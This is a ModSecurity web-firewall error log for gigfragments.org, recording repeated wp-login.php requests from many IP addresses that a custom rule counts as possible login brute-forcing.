[Sat Dec 20 11:22:11.649697 2025] [:error] [pid 39493:tid 39568] [client 185.223.152.200:61397] [client 185.223.152.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.200, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYWY2hjL2VG_FmIHqB1YAAAAJM"]
[Sat Dec 20 11:27:22.524580 2025] [:error] [pid 18807:tid 18820] [client 103.130.216.172:8904] [client 103.130.216.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.130.216.172, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYXmmRP9n5OCTllYeVyGwAAAYs"]
[Sat Dec 20 11:27:25.696002 2025] [:error] [pid 18807:tid 18814] [client 103.130.216.172:8904] [client 103.130.216.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.130.216.172, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYXnWRP9n5OCTllYeVyHgAAAYU"], referer: https://gigfragments.org/wp-login.php
[Sat Dec 20 11:27:34.574231 2025] [:error] [pid 14247:tid 14252] [client 185.223.152.194:65471] [client 185.223.152.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.194, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYXpiDv9TtKKdJQn9mrtgAAAQM"]
[Sat Dec 20 11:27:34.574711 2025] [:error] [pid 39491:tid 39501] [client 185.223.152.195:30525] [client 185.223.152.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.195, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYXpltw2ggYvDxu2EAeJAAAAAY"]
[Sat Dec 20 11:32:53.713162 2025] [:error] [pid 18807:tid 18809] [client 185.223.152.183:28325] [client 185.223.152.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.183, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYY5WRP9n5OCTllYeV0PwAAAYA"]
[Sat Dec 20 11:38:10.436168 2025] [:error] [pid 39577:tid 39593] [client 185.223.152.179:47993] [client 185.223.152.179] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.179, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYaIrviRnt1rJiSOfzrcwAAAM4"]
[Sat Dec 20 11:38:10.501488 2025] [:error] [pid 39577:tid 39586] [client 185.223.152.203:63603] [client 185.223.152.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.203, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYaIrviRnt1rJiSOfzrdAAAAMc"]
[Sat Dec 20 11:45:17.221831 2025] [:error] [pid 18807:tid 18820] [client 74.208.123.88:46910] [client 74.208.123.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 74.208.123.88, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYbzWRP9n5OCTllYeV4BQAAAYs"]
[Sat Dec 20 11:45:18.995475 2025] [:error] [pid 18807:tid 18829] [client 74.208.123.88:46910] [client 74.208.123.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 74.208.123.88, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYbzmRP9n5OCTllYeV4DQAAAZQ"], referer: https://gigfragments.org/wp-login.php
[Sat Dec 20 11:48:45.865534 2025] [:error] [pid 39577:tid 39602] [client 185.223.152.203:59869] [client 185.223.152.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.203, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYcnbviRnt1rJiSOfzs3gAAANc"]
[Sat Dec 20 11:54:06.465052 2025] [:error] [pid 39491:tid 39505] [client 185.223.152.188:61603] [client 185.223.152.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.188, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYd3ltw2ggYvDxu2EAiLgAAAAo"]
[Sat Dec 20 11:54:06.469772 2025] [:error] [pid 39492:tid 39542] [client 185.223.152.195:47061] [client 185.223.152.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.195, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYd3os_ZYP1UQNM9hb52gAAAFQ"]
[Sat Dec 20 11:59:21.364848 2025] [:error] [pid 14286:tid 14298] [client 185.223.152.183:56833] [client 185.223.152.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.183, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYfGZ7rbXIrw6rGSdYPCwAAAUg"]
[Sat Dec 20 12:04:47.994104 2025] [:error] [pid 14247:tid 14260] [client 185.223.152.179:51059] [client 185.223.152.179] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.179, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYgXyDv9TtKKdJQn9myaAAAAQs"]
[Sat Dec 20 12:04:47.995221 2025] [:error] [pid 18807:tid 18826] [client 185.223.152.194:41063] [client 185.223.152.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.194, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYgX2RP9n5OCTllYeV-LAAAAZE"]
[Sat Dec 20 12:10:14.499679 2025] [:error] [pid 14286:tid 14299] [client 185.223.152.201:35011] [client 185.223.152.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.201, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYhpp7rbXIrw6rGSdYRWQAAAUk"]
[Sat Dec 20 12:15:50.383024 2025] [:error] [pid 18807:tid 18818] [client 185.223.152.181:26883] [client 185.223.152.181] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.181, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYi9mRP9n5OCTllYeWB2wAAAYk"]
[Sat Dec 20 12:15:50.383227 2025] [:error] [pid 18807:tid 18822] [client 185.223.152.200:38463] [client 185.223.152.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.200, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYi9mRP9n5OCTllYeWB3AAAAY0"]
[Sat Dec 20 12:21:11.469590 2025] [:error] [pid 39493:tid 39570] [client 185.223.152.228:54965] [client 185.223.152.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.228, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYkN2hjL2VG_FmIHqCC5QAAAJU"]
[Sat Dec 20 12:26:42.202621 2025] [:error] [pid 39493:tid 39556] [client 185.223.152.179:52717] [client 185.223.152.179] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.179, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYlgmhjL2VG_FmIHqCD4AAAAIc"]
[Sat Dec 20 12:26:43.206258 2025] [:error] [pid 39577:tid 39586] [client 185.223.152.189:61205] [client 185.223.152.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.189, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYlg7viRnt1rJiSOfz1SQAAAMc"]
[Sat Dec 20 12:29:47.690383 2025] [:error] [pid 39493:tid 39557] [client 109.248.167.170:49833] [client 109.248.167.170] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 109.248.167.170, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYmO2hjL2VG_FmIHqCEmQAAAIg"], referer: https://gigfragments.org/
[Sat Dec 20 12:29:50.062087 2025] [:error] [pid 18807:tid 18821] [client 109.248.167.170:50031] [client 109.248.167.170] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 109.248.167.170, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYmPmRP9n5OCTllYeWGMAAAAYw"], referer: https://gigfragments.org/wp-login.php?action=register
[Sat Dec 20 12:32:03.501607 2025] [:error] [pid 18807:tid 18812] [client 185.223.152.195:61979] [client 185.223.152.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.195, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYmw2RP9n5OCTllYeWG4QAAAYM"]
[Sat Dec 20 12:39:00.773368 2025] [:error] [pid 39491:tid 39515] [client 185.223.152.188:62983] [client 185.223.152.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.188, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYoZFtw2ggYvDxu2EApagAAABQ"]
[Sat Dec 20 12:44:29.356108 2025] [:error] [pid 39492:tid 39524] [client 185.223.152.189:22099] [client 185.223.152.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.189, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYprYs_ZYP1UQNM9hYB5AAAAEI"]
[Sat Dec 20 12:49:46.785419 2025] [:error] [pid 39577:tid 39594] [client 185.223.152.179:22693] [client 185.223.152.179] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.179, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYq6rviRnt1rJiSOfz7swAAAM8"]
[Sat Dec 20 12:55:29.014222 2025] [:error] [pid 39577:tid 39595] [client 185.223.152.197:54475] [client 185.223.152.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYsQbviRnt1rJiSOfz8zwAAANA"]
[Sat Dec 20 13:00:47.015084 2025] [:error] [pid 14247:tid 14249] [client 185.223.152.201:45915] [client 185.223.152.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.201, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYtfyDv9TtKKdJQn9m9EQAAAQA"]
[Sat Dec 20 13:00:47.105254 2025] [:error] [pid 14286:tid 14298] [client 185.223.152.178:37843] [client 185.223.152.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.178, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYtf57rbXIrw6rGSdYajwAAAUg"]
[Sat Dec 20 13:11:53.514883 2025] [:error] [pid 14286:tid 14291] [client 185.223.152.195:62043] [client 185.223.152.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.195, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYwGZ7rbXIrw6rGSdYcEQAAAUE"]
[Sat Dec 20 13:11:53.519098 2025] [:error] [pid 18807:tid 18829] [client 185.223.152.185:20587] [client 185.223.152.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.185, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYwGWRP9n5OCTllYeWShgAAAZQ"]
[Sat Dec 20 13:17:38.670334 2025] [:error] [pid 39493:tid 39565] [client 185.223.152.194:42225] [client 185.223.152.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.194, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYxcmhjL2VG_FmIHqCRRwAAAJA"]
[Sat Dec 20 13:23:05.062197 2025] [:error] [pid 39493:tid 39550] [client 185.223.152.198:49971] [client 185.223.152.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.198, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYyuWhjL2VG_FmIHqCSSAAAAIE"]
[Sat Dec 20 13:28:29.012839 2025] [:error] [pid 14247:tid 14259] [client 185.223.152.203:26939] [client 185.223.152.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.203, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYz_SDv9TtKKdJQn9nBfwAAAQo"]
[Sat Dec 20 13:28:29.068112 2025] [:error] [pid 39577:tid 39588] [client 185.223.152.195:54605] [client 185.223.152.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.195, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUYz_bviRnt1rJiSOfwCngAAAMk"]
[Sat Dec 20 13:33:46.989360 2025] [:error] [pid 18807:tid 18828] [client 185.223.152.183:22659] [client 185.223.152.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.183, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUY1OmRP9n5OCTllYeWY0wAAAZM"]
[Sat Dec 20 13:33:46.989360 2025] [:error] [pid 18807:tid 18809] [client 185.223.152.197:34323] [client 185.223.152.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUY1OmRP9n5OCTllYeWY0gAAAYA"]
[Sat Dec 20 13:44:20.777455 2025] [:error] [pid 39577:tid 39580] [client 185.223.152.200:33805] [client 185.223.152.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.200, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUY3tLviRnt1rJiSOfwF7wAAAME"]
[Sat Dec 20 13:44:20.777674 2025] [:error] [pid 14286:tid 14311] [client 185.223.152.228:45975] [client 185.223.152.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.228, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUY3tJ7rbXIrw6rGSdYhZQAAAVU"]
[Sat Dec 20 13:49:44.146903 2025] [:error] [pid 39493:tid 39563] [client 185.223.152.183:27013] [client 185.223.152.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.183, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUY4-GhjL2VG_FmIHqCYpwAAAI4"]
[Sat Dec 20 14:04:18.683343 2025] [:error] [pid 18807:tid 18828] [client 185.223.152.194:29315] [client 185.223.152.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.194, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUY8YmRP9n5OCTllYeWiqQAAAZM"]
[Sat Dec 20 14:11:55.023924 2025] [:error] [pid 18807:tid 18832] [client 185.223.152.197:28407] [client 185.223.152.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUY-K2RP9n5OCTllYeWlLQAAAZc"]
[Sat Dec 20 14:17:26.401506 2025] [:error] [pid 14286:tid 14312] [client 185.223.152.189:20647] [client 185.223.152.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.189, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUY_dp7rbXIrw6rGSdYnrgAAAVY"]
[Sat Dec 20 14:17:26.401564 2025] [:error] [pid 39577:tid 39591] [client 185.223.152.181:64789] [client 185.223.152.181] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.181, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUY_drviRnt1rJiSOfwMLwAAAMw"]
[Sat Dec 20 14:22:38.053762 2025] [:error] [pid 39492:tid 39545] [client 185.223.152.200:30761] [client 185.223.152.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.200, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUZAros_ZYP1UQNM9hYSNQAAAFc"]
[Sat Dec 20 14:27:57.369844 2025] [:error] [pid 14286:tid 14296] [client 185.223.152.190:28635] [client 185.223.152.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.190, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUZB7Z7rbXIrw6rGSdYpYwAAAUY"]
[Sat Dec 20 14:35:55.674602 2025] [:error] [pid 39492:tid 39523] [client 185.223.152.181:46569] [client 185.223.152.181] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.181, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUZDy4s_ZYP1UQNM9hYUQAAAAEE"]
[Sat Dec 20 14:35:55.674602 2025] [:error] [pid 39493:tid 39572] [client 185.223.152.190:26031] [client 185.223.152.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.190, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUZDy2hjL2VG_FmIHqCihwAAAJc"]
[Sat Dec 20 14:48:53.859245 2025] [:error] [pid 18807:tid 18814] [client 185.223.152.199:24635] [client 185.223.152.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.199, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUZG1WRP9n5OCTllYeWwIgAAAYU"]
[Sat Dec 20 14:54:43.587490 2025] [:error] [pid 18807:tid 18814] [client 185.223.152.199:49987] [client 185.223.152.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.199, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUZIM2RP9n5OCTllYeWyFQAAAYU"]
[Sat Dec 20 15:00:09.490653 2025] [:error] [pid 14286:tid 14293] [client 185.223.152.185:35779] [client 185.223.152.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.185, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUZJeZ7rbXIrw6rGSdYt1QAAAUM"]
[Sat Dec 20 15:05:44.382714 2025] [:error] [pid 39493:tid 39563] [client 185.223.152.183:61589] [client 185.223.152.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.183, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUZKyGhjL2VG_FmIHqCodgAAAI4"]
[Sat Dec 20 15:16:56.064238 2025] [:error] [pid 39577:tid 39586] [client 185.223.152.203:26381] [client 185.223.152.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.203, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUZNaLviRnt1rJiSOfwW3AAAAMc"]
[Sat Dec 20 15:28:04.876413 2025] [:error] [pid 39492:tid 39544] [client 185.223.152.178:60879] [client 185.223.152.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.178, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUZQBIs_ZYP1UQNM9hYbbQAAAFY"]
[Sat Dec 20 15:33:28.176839 2025] [:error] [pid 14247:tid 14268] [client 185.223.152.179:41257] [client 185.223.152.179] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.179, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUZRSCDv9TtKKdJQn9nVwAAAARM"]
[Sat Dec 20 15:38:54.202644 2025] [:error] [pid 18807:tid 18824] [client 185.223.152.228:31847] [client 185.223.152.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.228, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUZSjmRP9n5OCTllYeW-OQAAAY8"]
[Sat Dec 20 15:44:16.795800 2025] [:error] [pid 14247:tid 14259] [client 185.223.152.201:55449] [client 185.223.152.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.201, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUZT0CDv9TtKKdJQn9nYOAAAAQo"]
